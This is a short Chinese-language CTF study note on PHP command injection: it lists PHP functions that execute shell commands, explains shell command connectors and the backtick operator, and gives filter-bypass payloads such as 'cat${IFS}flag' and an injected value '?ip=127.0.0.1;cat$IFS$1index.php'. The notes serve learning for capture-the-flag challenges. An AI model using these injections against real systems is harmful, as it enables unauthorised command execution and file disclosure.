直接执行命令

以下函数都可以直接执行命令

  1. eval();
  2. assert();
  3. system();
  4. exec();
  5. shell_exec();
  6. passthru();
  7. escapeshellcmd();
  8. pcntl_exec();
  9. ......

command_execution
类似这道ping的题目,但需要通过连接符来执行多个命令

命令连接符

  1. ; 分号,没有任何逻辑关系的连接符。当多个命令用分号连接时,各命令之间的执行成功与否彼此没有任何影响,都会一条一条执行下去。
  2. || 逻辑或,当用此连接符连接多个命令时,前面的命令执行成功,则后面的命令不会执行。前面的命令执行失败,后面的命令才会执行。
  3. && 逻辑与,当用此连接符连接多个命令时,前面的命令执行成功,才会执行后面的命令,前面的命令执行失败,后面的命令不会执行,与 || 正好相反。
  4. | 管道符,当用此连接符连接多个命令时,前面命令执行的正确输出,会交给后面的命令继续处理。若前面的命令执行失败,则会报错,若后面的命令无法处理前面命令的输出,也会报错。

    执行运算符

    PHP 支持一个执行运算符:反引号(`)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“”的效果与函数 shell_exec() 相同

  1. <?php echo `pwd`;?>

https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/

Bypass

空格过滤

  1. cat<flag //重定向符
  2. cat<>flag //重定向符
  3. cat${IFS}flag //IFS
  4. 可能也过滤了{},用$IFS$1代替:
  5. ?ip=127.0.0.1;cat$IFS$1index.php
  6. cat%09flag //其他字符代替
  7. {cat,flag} //{,}